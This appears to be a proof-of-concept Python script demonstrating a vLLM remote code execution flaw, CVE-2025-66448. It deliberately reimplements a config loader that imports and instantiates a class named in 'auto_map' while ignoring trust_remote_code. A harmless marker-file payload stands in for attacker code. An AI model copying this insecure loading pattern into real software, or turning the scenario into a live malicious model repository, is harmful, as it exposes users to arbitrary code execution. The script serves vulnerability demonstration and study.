Vulnerable code sample

import json
import importlib.util
import os
import sys
import shutil

# This script demonstrates the remote code execution vulnerability CVE-2025-66448
# as it existed in vLLM prior to version 0.11.1.
# It simulates the vulnerable code path and an exploit scenario.

# --- Attacker's Setup (Simulated) ---
# In a real attack, these files would be hosted on a platform like Hugging Face.
# 1. 'malicious_code.py' would be in a separate, malicious repository.
# 2. 'config.json' would be in a benign-looking "frontend" repository.

MALICIOUS_CODE_CONTENT = """
import os

print("[+] MALICIOUS MODULE: The 'malicious_code.py' module is being imported.")

class MaliciousModel:
    def __init__(self):
        # This code runs automatically when the class is instantiated by the vulnerable loader.
        print("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
        print("!!! VULNERABILITY TRIGGERED: Remote Code Execution via __init__()      !!!")
        print("!!! An attacker's code is now running on the victim's machine.         !!!")
        print("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
        
        # Example payload: create a file to prove code execution.
        file_to_create = "pwned_by_cve_2025_66448.txt"
        with open(file_to_create, "w") as f:
            f.write("This file was created by the CVE-2025-66448 exploit demonstration.\\n")
        print(f"[*] PAYLOAD EXECUTED: Created file '{file_to_create}' in the current directory.")

print("[+] MALICIOUS MODULE: Class 'MaliciousModel' has been defined.")
"""

CONFIG_JSON_CONTENT = """
{
  "model_type": "nemotron_nano_vl",
  "auto_map": {
    "AutoModel": "attacker_repo/malicious_code.py--MaliciousModel"
  },
  "other_config": "some_value"
}
"""

# --- Vulnerable Library Code (Simplified Representation of vLLM < 0.11.1) ---
# The following functions represent the flawed logic that allows the RCE.

def get_class_from_dynamic_module(identifier: str, module_path: str, **kwargs):
    """
    Simulates vLLM's ability to dynamically load a class from a file path.
    In the real library, this is more complex and involves fetching from remote repos.
    """
    print(f"[*] VULNERABLE FUNCTION: Loading class from '{identifier}' in module '{module_path}'.")
    
    # In a real scenario, 'module_path' would be a path to a downloaded remote file.
    # Here, we use a local file for the demonstration.
    module_name, class_name = identifier.split("--")

    spec = importlib.util.spec_from_file_location(module_name, module_path)
    if spec is None:
        raise ImportError(f"Could not load spec for module '{module_name}' from '{module_path}'")
    
    module = importlib.util.module_from_spec(spec)
    sys.modules[spec.name] = module
    spec.loader.exec_module(module)
    
    return getattr(module, class_name)


def get_config(model_name: str, trust_remote_code: bool):
    """
    Simulates the vulnerable config loading process in vLLM's `transformers_utils`.
    This function incorrectly processes `auto_map` regardless of the `trust_remote_code` setting.
    """
    print(f"\n[*] Calling vulnerable `get_config` for model '{model_name}' with `trust_remote_code={trust_remote_code}`.")
    
    # In a real scenario, this would download config.json from the model repo.
    # Here we just read our simulated local file.
    config_path = "config.json"
    with open(config_path, 'r') as f:
        config_dict = json.load(f)

    # THE VULNERABILITY
    # The code checks for 'auto_map' and immediately processes it, ignoring `trust_remote_code`.
    # A proper implementation should check `trust_remote_code` before processing `auto_map`.
    if "auto_map" in config_dict:
        print("[!] Found 'auto_map' in the configuration.")
        auto_map_value = config_dict["auto_map"].get("AutoModel")
        if auto_map_value:
            print(f"[!] 'auto_map' points to a dynamic class: '{auto_map_value}'")
            print("[!] CRITICAL FLAW: Proceeding to load remote code even though `trust_remote_code` is False.")

            # Simulate parsing the "repo/file.py--ClassName" string.
            repo_path, identifier = auto_map_value.split('/')
            # For this demo, the filename is extracted directly.
            malicious_file = identifier.split('--')[0]
            
            # Dynamically import the class from the specified file.
            model_class = get_class_from_dynamic_module(identifier, malicious_file)
            
            # Immediately instantiate the class, triggering the code in its __init__ method.
            # This is the moment the remote code execution occurs.
            print(f"[*] Instantiating the dynamically loaded class '{model_class.__name__}'...")
            _ = model_class() # RCE is triggered here.
            
    print("[*] `get_config` processing finished.")


# --- Exploit Demonstration ---

if __name__ == "__main__":
    print("--- CVE-2025-66448: vLLM Remote Code Execution Demonstration ---")

    # 1. Set up the simulated attacker environment
    malicious_filename = "malicious_code.py"
    config_filename = "config.json"
    pwned_file = "pwned_by_cve_2025_66448.txt"
    
    with open(malicious_filename, "w") as f:
        f.write(MALICIOUS_CODE_CONTENT)
    with open(config_filename, "w") as f:
        f.write(CONFIG_JSON_CONTENT)
    
    print(f"[+] Created simulated attacker files: '{malicious_filename}' and '{config_filename}'.")
    
    # 2. Run the vulnerable code path
    # A victim would unknowingly run this by trying to load a seemingly benign model.
    # We explicitly set `trust_remote_code=False` to show it has no effect.
    try:
        get_config(model_name="attacker/benign-looking-model", trust_remote_code=False)
    except Exception as e:
        print(f"[ERROR] An exception occurred during the exploit attempt: {e}")

    # 3. Verify the result of the exploit
    print("\n--- Verification ---")
    if os.path.exists(pwned_file):
        print(f"[SUCCESS] Exploit successful! Malicious file '{pwned_file}' was created.")
        with open(pwned_file, 'r') as f:
            print(f"    Content: '{f.read().strip()}'")
    else:
        print(f"[FAILURE] Exploit did not succeed. File '{pwned_file}' was not found.")

    # 4. Cleanup the created files
    print("\n--- Cleanup ---")
    for file_path in [malicious_filename, config_filename, pwned_file]:
        if os.path.exists(file_path):
            os.remove(file_path)
            print(f"[*] Removed '{file_path}'.")
    if os.path.exists("__pycache__"):
        shutil.rmtree("__pycache__")
        print("[*] Removed '__pycache__' directory.")